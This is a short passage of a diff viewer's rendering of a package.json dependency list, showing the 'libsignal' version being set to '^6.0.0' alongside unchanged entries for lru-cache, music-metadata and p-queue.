"libsignal": "
|
|
48
|
+
"libsignal": "^6.0.0",
|
|
49
49
|
"lru-cache": "^11.1.0",
|
|
50
50
|
"music-metadata": "^11.12.3",
|
|
51
51
|
"p-queue": "^9.0.0",
|